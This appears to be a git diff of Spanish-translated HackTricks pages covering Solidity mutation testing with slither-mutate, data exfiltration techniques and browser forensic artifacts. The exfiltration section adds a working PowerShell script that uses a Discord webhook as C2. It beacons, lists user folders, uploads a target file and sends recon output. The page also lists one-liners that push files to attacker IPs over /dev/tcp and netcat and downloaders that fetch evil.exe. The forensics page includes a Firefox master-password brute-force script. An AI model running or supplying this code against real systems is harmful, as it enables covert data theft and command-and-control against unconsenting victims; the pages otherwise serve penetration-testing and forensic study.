Las pruebas unitarias que solo verifican un valor por debajo y un valor por encima del umbral pueden alcanzar el 100% de cobertura de líneas y ramas mientras no comprueban la igualdad límite (==). Un refactor a `deposit >= 2 ether` seguiría pasando esas pruebas, rompiendo silenciosamente la lógica del protocolo.
Mutation testing expone esta brecha al mutar la condición y verificar que tus pruebas fallen.
## Operadores comunes de mutación en Solidity
Slither’s mutation engine aplica muchas pequeñas ediciones que cambian la semántica, como:
- Reemplazo de operadores: `+` ↔ `-`, `*` ↔ `/`, etc.
- Reemplazo de asignación: `+=` → `=`, `-=` → `=`
- Reemplazo de constantes: no cero → `0`, `true` ↔ `false`
- Negación/reemplazo de condiciones dentro de `if`/loops
- Comentar líneas completas (CR: Comment Replacement)
- Reemplazar una línea por `revert()`
- Intercambio de tipos de datos: p. ej., `int128` → `int64`
Objetivo: eliminar el 100% de los mutantes generados, o justificar a los supervivientes con razonamiento claro.
## Running mutation testing with slither-mutate
Requisitos: Slither v0.10.2+.
- Listar opciones y mutadores:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Ejemplo de Foundry (capturar los resultados y mantener un registro completo):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Si no usas Foundry, reemplaza `--test-cmd` por la forma en que ejecutas las pruebas (p. ej., `npx hardhat test`, `npm test`).
Los artefactos y los informes se almacenan en `./mutation_campaign` por defecto. Los mutantes no detectados (que sobreviven) se copian allí para su inspección.
### Entendiendo la salida
Las líneas del informe se ven así:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- La etiqueta entre corchetes es el alias del mutador (p. ej., `CR` = Comment Replacement).
- `UNCAUGHT` significa que las pruebas pasaron bajo el comportamiento mutado → falta de aserción.
## Reducir el tiempo de ejecución: priorizar mutantes de mayor impacto
Las campañas de mutación pueden durar horas o días. Consejos para reducir el costo:
- Alcance: Empieza solo con los contratos/directorios críticos, luego expande.
- Priorizar mutators: Si un mutante de alta prioridad en una línea sobrevive (p. ej., línea entera comentada), puedes omitir variantes de menor prioridad para esa línea.
- Paraleliza las pruebas si tu runner lo permite; cachea dependencias/builds.
- Fail-fast: detén temprano cuando un cambio demuestre claramente una brecha de aserción.
## Flujo de triage para mutantes sobrevivientes
1) Inspecciona la línea mutada y su comportamiento.
- Reproduce localmente aplicando la línea mutada y ejecutando una prueba focalizada.
2) Fortalece las pruebas para afirmar el estado, no solo los valores retornados.
- Añade comprobaciones de igualdad/límite (p. ej., test threshold `==`).
- Aserta post-condiciones: balances, total supply, efectos de autorización y eventos emitidos.
3) Sustituye mocks demasiado permisivos por comportamiento realista.
- Asegúrate de que los mocks hagan cumplir transfers, failure paths, y emisiones de eventos que ocurren on-chain.
4) Añade invariantes para fuzz tests.
- Ej.: conservación del valor, balances no negativos, invariantes de autorización, monotonic supply cuando aplique.
5) Vuelve a ejecutar slither-mutate hasta que los sobrevivientes sean eliminados o estén justificados explícitamente.
## Estudio de caso: revelar aserciones de estado faltantes (protocolo Arkis)
Una campaña de mutación durante una auditoría del protocolo Arkis DeFi reveló sobrevivientes como:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Comentar la asignación no rompió los tests, lo que demuestra la falta de aserciones de post-estado. Causa raíz: el código confiaba en un `_cmd.value` controlado por el usuario en lugar de validar las transferencias reales de tokens. Un atacante podría desincronizar las transferencias esperadas frente a las reales para drenar fondos. Resultado: riesgo de alta severidad para la solvencia del protocolo.
Guía: Considere de alto riesgo a los mutantes supervivientes que afecten transferencias de valor, contabilidad o control de acceso hasta que sean eliminados.
## Practical checklist
- Ejecutar una campaña dirigida:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Triar los supervivientes y escribir tests/invariantes que fallarían bajo el comportamiento mutado.
- Compruebe saldos, supply, autorizaciones y eventos.
- Agregar pruebas límite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Reemplace mocks poco realistas; simule modos de fallo.
- Iterar hasta que todos los mutantes sean eliminados o justificados con comentarios y su razonamiento.
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}

127
src/generic-hacking/exfiltration.md
View File

@ -1,12 +1,12 @@
# Exfiltración
# Exfiltration
{{#include ../banners/hacktricks-training.md}}
## Dominios comúnmente en la lista blanca para exfiltrar información
## Commonly whitelisted domains to exfiltrate information
Consulta [https://lots-project.com/](https://lots-project.com/) para encontrar dominios comúnmente en la lista blanca que pueden ser abusados
Consulta [https://lots-project.com/](https://lots-project.com/) para encontrar commonly whitelisted domains que pueden ser abusados
## Copiar\&Pegar Base64
## Copy\&Paste Base64
**Linux**
```bash
@ -45,8 +45,8 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
### Subir archivos
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**SimpleHttpServer imprimiendo GET y POSTs (también encabezados)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/):
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Módulo Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
@ -100,6 +100,91 @@ if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## Webhooks (Discord/Slack/Teams) para C2 & Data Exfiltration
Webhooks son endpoints HTTPS de solo escritura que aceptan JSON y partes de archivo opcionales. Suelen permitirse en dominios SaaS de confianza y no requieren OAuth/API keys, lo que los hace útiles para beaconing y exfiltration de baja fricción.
Key ideas:
- Endpoint: Discord usa https://discord.com/api/webhooks/<id>/<token>
- POST multipart/form-data con una parte llamada payload_json que contiene {"content":"..."} y parte(s) de archivo opcional(es) llamadas file.
- Patrón de bucle del operador: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirman la entrega.
PowerShell PoC (Discord):
```powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()
function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}
function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}
# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon
# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}
# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}
Start-Sleep -Seconds 20
}
```
Notas:
- Patrones similares se aplican a otras plataformas de colaboración (Slack/Teams) que usan sus incoming webhooks; ajuste la URL y el JSON schema según corresponda.
- Para DFIR de artefactos de caché de Discord Desktop y recuperación de webhook/API, vea:
{{#ref}}
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
{{#endref}}
## FTP
### Servidor FTP (python)
@ -107,7 +192,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### Servidor FTP (NodeJS)
### FTP server (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
@ -130,7 +215,7 @@ mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Cliente** de Windows
### **Windows** cliente
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
O crear un recurso compartido smb **usando samba**:
O crea un smb share **usando samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
```
## SCP
El atacante debe tener SSHd en ejecución.
El attacker debe tener SSHd en ejecución.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Si la víctima tiene SSH, el atacante puede montar un directorio de la víctima al atacante.
Si la víctima tiene SSH, el atacante puede montar un directorio de la víctima en el sistema del atacante.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -194,7 +279,7 @@ nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Descargar archivo de la víctima
### Descargar archivo desde victim
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
@ -228,15 +313,15 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Si puedes enviar datos a un servidor SMTP, puedes crear un SMTP para recibir los datos con python:
Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Por defecto en XP y 2003 (en otros debe ser agregado explícitamente durante la instalación)
Por defecto en XP y 2003 (en otros debe añadirse explícitamente durante la instalación)
En Kali, **iniciar servidor TFTP**:
En Kali, **iniciar TFTP server**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
@ -254,7 +339,7 @@ tftp -i <KALI-IP> get nc.exe
```
## PHP
Descargar un archivo con un PHP oneliner:
Descargar un archivo con un oneliner PHP:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
El programa `debug.exe` no solo permite la inspección de binarios, sino que también tiene la **capacidad de reconstruirlos a partir de hex**. Esto significa que al proporcionar un hex de un binario, `debug.exe` puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una **limitación de ensamblar archivos de hasta 64 kb de tamaño**.
El programa `debug.exe` no solo permite la inspección de binarios, sino que también tiene la **capacidad de reconstruirlos a partir de hex**. Esto significa que, proporcionando un hex de un binario, `debug.exe` puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una **limitación: ensamblar archivos de hasta 64 kb de tamaño**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Luego, copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe.
Luego copia y pega el texto en el windows-shell y se creará un archivo llamado nc.exe.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -310,4 +395,10 @@ Luego, copia y pega el texto en la ventana de comandos de Windows y se creará u
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
## Referencias
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
{{#include ../banners/hacktricks-training.md}}

124
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
View File

@ -2,57 +2,57 @@
{{#include ../../../banners/hacktricks-training.md}}
## Artefactos del Navegador <a href="#id-3def" id="id-3def"></a>
## Artefactos del navegador <a href="#id-3def" id="id-3def"></a>
Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se mantienen en carpetas específicas dentro del sistema operativo, variando en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares.
Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como historial de navegación, marcadores y datos de caché. Estos artefactos se guardan en carpetas específicas dentro del sistema operativo, cambiando de ubicación y nombre según el navegador, aunque en general contienen tipos de datos similares.
Aquí hay un resumen de los artefactos de navegador más comunes:
- **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos.
- **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combinan con el historial de navegación.
- **Marcadores**: Sitios guardados por el usuario para acceso rápido.
- **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario.
- **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga de los sitios web, valioso para el análisis forense.
- **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas.
- **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para información adicional sobre las visitas del usuario.
- **Sesiones del Navegador**: Datos relacionados con las sesiones abiertas del navegador.
- **Descargas**: Registros de archivos descargados a través del navegador.
- **Datos de Formularios**: Información ingresada en formularios web, guardada para futuras sugerencias de autocompletar.
- **Miniaturas**: Imágenes de vista previa de sitios web.
- **Navigation History**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos.
- **Autocomplete Data**: Sugerencias basadas en búsquedas frecuentes, que ofrecen información cuando se combinan con el historial de navegación.
- **Bookmarks**: Sitios guardados por el usuario para acceso rápido.
- **Extensions and Add-ons**: Extensiones o complementos instalados por el usuario.
- **Cache**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga del sitio, valioso para análisis forense.
- **Logins**: Credenciales de inicio de sesión almacenadas.
- **Favicons**: Iconos asociados a sitios web, que aparecen en pestañas y marcadores, útiles para información adicional sobre visitas del usuario.
- **Browser Sessions**: Datos relacionados con sesiones de navegador abiertas.
- **Downloads**: Registros de archivos descargados a través del navegador.
- **Form Data**: Información introducida en formularios web, guardada para futuras sugerencias de autocompletar.
- **Thumbnails**: Imágenes en miniatura de sitios web.
- **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador.
## Firefox
Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo:
Firefox organiza los datos de usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` mismo. Si falta la carpeta de un perfil, puede haber sido eliminada.
Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta cuyo nombre está en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini`. Si falta la carpeta de un perfil, puede haber sido eliminada.
Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes:
- **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) en Windows pueden acceder a los datos del historial.
- **places.sqlite**: Almacena historial, marcadores y descargas. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data.
- Usa consultas SQL específicas para extraer información de historial y descargas.
- **bookmarkbackups**: Contiene copias de seguridad de marcadores.
- **formhistory.sqlite**: Almacena datos de formularios web.
- **handlers.json**: Gestiona los controladores de protocolo.
- **handlers.json**: Gestiona los manejadores de protocolo.
- **persdict.dat**: Palabras del diccionario personalizado.
- **addons.json** y **extensions.sqlite**: Información sobre complementos y extensiones instalados.
- **addons.json** and **extensions.sqlite**: Información sobre add-ons y extensiones instaladas.
- **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows.
- **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **cache2/entries** or **startupCache**: Datos de caché, accesibles mediante herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Almacena favicons.
- **prefs.js**: Configuraciones y preferencias del usuario.
- **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite.
- **downloads.sqlite**: Base de datos de descargas antigua, ahora integrada en places.sqlite.
- **thumbnails**: Miniaturas de sitios web.
- **logins.json**: Información de inicio de sesión encriptada.
- **key4.db** o **key3.db**: Almacena claves de encriptación para asegurar información sensible.
- **key4.db** or **key3.db**: Almacena claves de encriptación para proteger información sensible.
Además, verificar la configuración de anti-phishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas.
Adicionalmente, se puede comprobar la configuración anti-phishing del navegador buscando entradas `browser.safebrowsing` en `prefs.js`, lo que indica si las funciones de safe browsing están habilitadas o deshabilitadas.
Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Con el siguiente script y llamada puedes especificar un archivo de contraseña para realizar un ataque de fuerza bruta:
To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Con el siguiente script y la llamada, puedes especificar un archivo de contraseñas para realizar un ataque de fuerza bruta:
```bash:brute.sh
#!/bin/bash
@ -67,59 +67,65 @@ done < $passfile
## Google Chrome
Google Chrome almacena perfiles de usuario en ubicaciones específicas según el sistema operativo:
Google Chrome almacena los perfiles de usuario en ubicaciones específicas según el sistema operativo:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Dentro de estos directorios, la mayoría de los datos del usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos:
Dentro de estos directorios, la mayoría de los datos de usuario se encuentran en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos importantes:
- **History**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede usar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) para leer el historial. La columna "Transition Type" tiene varios significados, incluyendo clics del usuario en enlaces, URLs escritas, envíos de formularios y recargas de página.
- **History**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede usar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) para leer el historial. La columna "Transition Type" tiene varios significados, incluyendo clics del usuario en enlaces, URLs tecleadas, envíos de formularios y recargas de página.
- **Cookies**: Almacena cookies. Para inspección, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Contiene datos en caché. Para inspeccionar, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Cache**: Contiene datos en caché. Para inspeccionarlo, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
Las aplicaciones de escritorio basadas en Electron (p. ej., Discord) también usan Chromium Simple Cache y dejan artefactos ricos en disco. Ver:
{{#ref}}
discord-cache-forensics.md
{{#endref}}
- **Bookmarks**: Marcadores del usuario.
- **Web Data**: Contiene el historial de formularios.
- **Favicons**: Almacena favicons de sitios web.
- **Favicons**: Almacena los favicons de los sitios web.
- **Login Data**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas.
- **Current Session**/**Current Tabs**: Datos sobre la sesión de navegación actual y las pestañas abiertas.
- **Last Session**/**Last Tabs**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome.
- **Extensions**: Directorios para extensiones y complementos del navegador.
- **Extensions**: Directorios para extensiones y addons del navegador.
- **Thumbnails**: Almacena miniaturas de sitios web.
- **Preferences**: Un archivo rico en información, incluyendo configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más.
- **Browser’s built-in anti-phishing**: Para verificar si la protección contra phishing y malware está habilitada, ejecute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busque `{"enabled: true,"}` en la salida.
- **Preferences**: Un archivo con mucha información, incluyendo configuraciones de plugins, extensiones, pop-ups, notificaciones y más.
- **Browser’s built-in anti-phishing**: Para comprobar si la protección anti-phishing y contra malware está habilitada, ejecuta `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busca `{"enabled: true,"}` en la salida.
## **Recuperación de Datos de SQLite DB**
## **SQLite DB Data Recovery**
Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Como puede observarse en las secciones anteriores, tanto Chrome como Firefox usan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas usando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, ayudando a separar la información almacenada y sus detalles correspondientes para un fácil acceso y gestión.
Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, lo que ayuda a separar la información almacenada y sus detalles correspondientes para un acceso y gestión más sencilla.
### Almacenamiento de Metadatos
### Almacenamiento de metadatos
Los metadatos para Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Acompañando esto, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, indicando la necesidad de reparación usando `esentutl /r V01 /d`. Este metadato, alojado en una base de datos ESE, puede ser recuperado e inspeccionado utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluyendo detalles de caché para otras herramientas de Microsoft como Skype.
Los metadatos de Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX siendo V01, V16, o V24). Junto a esto, el archivo `V01.log` puede mostrar discrepancias en los tiempos de modificación con `WebcacheVX.data`, lo que indica la necesidad de una reparación usando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden recuperarse e inspeccionarse usando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro de la tabla **Containers**, se pueden identificar las tablas o contenedores específicos donde se almacena cada segmento de datos, incluyendo detalles de caché para otras herramientas de Microsoft como Skype.
### Inspección de Caché
### Inspección de la caché
La herramienta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite la inspección de caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de caché incluyen nombre de archivo, directorio, conteo de accesos, origen de URL y marcas de tiempo que indican la creación, acceso, modificación y tiempos de expiración de la caché.
La herramienta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite inspeccionar la caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de la caché incluyen nombre de archivo, directorio, contador de accesos, URL de origen y marcas de tiempo que indican la creación, acceso, modificación y expiración del caché.
### Gestión de Cookies
### Gestión de cookies
Las cookies se pueden explorar usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, conteos de acceso y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en memoria.
Las cookies pueden explorarse usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, contadores de acceso y varios detalles relacionados con tiempos. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en memoria.
### Detalles de Descargas
### Detalles de descargas
Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Los metadatos de descargas son accesibles vía [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos pueden encontrarse bajo `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Historial de Navegación
### Historial de navegación
Para revisar el historial de navegación, se puede usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), requiriendo la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con conteos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Para revisar el historial de navegación, se puede usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), requiriendo la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con contadores de acceso. Los archivos de historial se ubican en `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### URLs Escritas
### URLs tecleadas
Las URLs escritas y sus tiempos de uso se almacenan en el registro bajo `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada.
Las URLs tecleadas y sus tiempos de uso se almacenan dentro del registro en `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs introducidas por el usuario y sus últimos tiempos de entrada.
## Microsoft Edge
@ -133,31 +139,31 @@ Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Package
## Safari
Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen:
Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Archivos clave incluyen:
- **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visitas. Use `sqlite3` para consultar.
- **History.db**: Contiene las tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visitas. Usa `sqlite3` para consultar.
- **Downloads.plist**: Información sobre archivos descargados.
- **Bookmarks.plist**: Almacena URLs marcadas.
- **Bookmarks.plist**: Almacena URLs marcadas como favoritos.
- **TopSites.plist**: Sitios más visitados.
- **Extensions.plist**: Lista de extensiones del navegador Safari. Use `plutil` o `pluginkit` para recuperar.
- **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Use `plutil` para analizar.
- **LastSession.plist**: Pestañas de la última sesión. Use `plutil` para analizar.
- **Browser’s built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa.
